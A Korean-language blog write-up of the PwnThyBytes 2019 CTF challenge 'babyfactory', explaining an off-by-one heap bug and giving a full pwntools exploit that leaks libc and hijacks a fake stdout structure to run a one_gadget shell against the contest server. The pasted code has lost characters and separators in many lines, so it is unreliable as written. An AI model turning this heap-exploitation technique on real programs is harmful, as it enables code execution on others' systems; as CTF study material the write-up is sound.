SDJ( 수돈재 아님 ㅎ )

PwnThybytes 2019 - babyfactory 본문

write-up/pwnable

PwnThybytes 2019 - babyfactory

ShinDongJun 2019. 10. 7. 13:14

이번엔 PwnThybytes CTF의 babyfactory를 풀어보려고 한다.

64bit에 모든 보호기법들이 걸려있다.

사용할 수 있는 메뉴들은 다음과 같이 5가지 정도 있다.

하나씩 분석해보자.

1. create

먼저 create다.

여기서 두가지 경우를 선택할 수 있는데 하나는 Boy, 다른 하나는 Girl이다.

함수 sub_C3B의 인자를 다르게 주는 것을 볼 수 있는데 함수를 분석해보자.

1-1) sub_C3B

함수의 일부다.

인자로 넘어온 값에 따라 두가지 경우가 생긴다.

a1의 값이 참일 경우에는 malloc(0x69)를 하고 read(0, *v3, 0x69)를 한다.

참이 아닐 경우에는 malloc(0x68)을 하고 read(0, *v3, 0x68)을 한다.

 

여기서 취약점이 하나 존재하는데 바로 

malloc(0x68)을 하고나서 read(0, *v3, 0x68)을 하는 과정에서 발생한다.

0x68의 chunk size는 0x71이 되고, 다음 청크의 prev_size 영역을 사용하는데

이 때 read(0, *v3, 0x68)을 하는 과정에서 off by one이 발생하게 된다.

 

sub_C3B의 나머지 부분이다.

++unk_202024를 통해서 할당한 횟수를 저장하는데 6번 이하까지 가능하므로 총 7번 할당이 가능하다.

 

2. Edit

edit에서는 간단하게 

*(v2+10)을 비교하여 girl 과 boy를 구별한다.

girl -> 0x69 입력

boy -> 0x68 입력 ( off by one!! )

 

이 두가지를 이용해서 leak과 동시에 exploit을 할 수 있다.

 

익스플로잇 과정

1byte을 조작하는 취약점으로 청크의 크기를 unsorted bin으로 바꾸어 libc의 값을 leak해 주고

stdout의 주소로 뛰어 조작해주면 익스가 된다.

 

exploit code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
 
#p = process('./baby_factory [ 2578fd3563ff647c924a670095f255ab ]')
= remote('137.117.216.128'13373)
 
def choice(idx):
    p.sendlineafter("> "str(idx))
 
def alloc(gender, name, day):
    choice(1)
    p.sendlineafter("> "str(gender))
    p.sendafter(": "str(name))
    p.sendlineafter(": "str(day))
 
def edit(idx, name):
    choice(2)
    p.sendlineafter(": "str(idx))
    p.sendlineafter(": "str(name))
 
def show():
    choice(3)
 
def delete(idx):
    choice(4)
    p.sendlineafter(": "str(idx))
 
one = [0x452160x4526a0xf02a40xf1147]
 
alloc(1"a"*0x80x11111111# 0
alloc(1"b"*0x80x11111111# 1
alloc(1"c"*0x80x11111111# 2
 
edit(0"a"*0x8 +p64(0)+ p64(0)*2*5 + p64(0+ '\xb1')
 
delete(1)
delete(2)
 
alloc(2"b"*80x11111111# 3
 
show()
p.recvuntil("bbbbbbbb")
main_arena_88 = u64(p.recv(6).ljust(8,'\x00'))
libc_base = main_arena_88 - 3951480 - 0xa0
malloc_hook = libc_base + 3951376
stdout_jump = libc_base + 3954416
fake_prev_size = libc_base + 3954365
 
print "main_arena_88 : " + hex(main_arena_88)
print "libc_base : " + hex(libc_base)
print "malloc_hook : " + hex(malloc_hook)
print "stdout_jump : " + hex(stdout_jump)
 
one_gadget = libc_base + one[1]
print "one_gadget : " + hex(one_gadget)
edit(1, p64(0)*3+p64(0x71)+p64(fake_prev_size))
alloc(1'a'*80x11111111)
alloc(1'b'*80x11111111)
 
# set fake stdout structure
pay = ''
pay += '\x00'*3
pay += p64(0* 2
pay += p64(0x00000000ffffffff)
pay += p64(0* 2
pay += p64(stdout_jump)
pay += p64(libc_base+3853984+ p64(libc_base+3954208)
pay += p64(libc_base+3950816+ p64(one_gadget)
 
pay += p64(one_gadget) + p64(one_gadget)
pay += p64(one_gadget)
 
choice(1)
p.sendlineafter("> "'1')
p.sendafter(": ", pay)
 
p.interactive()

 

 

 

flag : PTBCTF{d516da8f4726509484aa98eabd8e095f}

'write-up > pwnable' 카테고리의 다른 글

HSCTF 2019 - aria writer v3  (0) 2019.10.08
HSCTF 2019 - Aria writer  (0) 2019.10.08
NACTF 2019 - Loopy #1  (0) 2019.09.23
NACTF 2019 - Loopy #0  (0) 2019.09.23
NACTF 2019 - Format #1  (0) 2019.09.23
Comments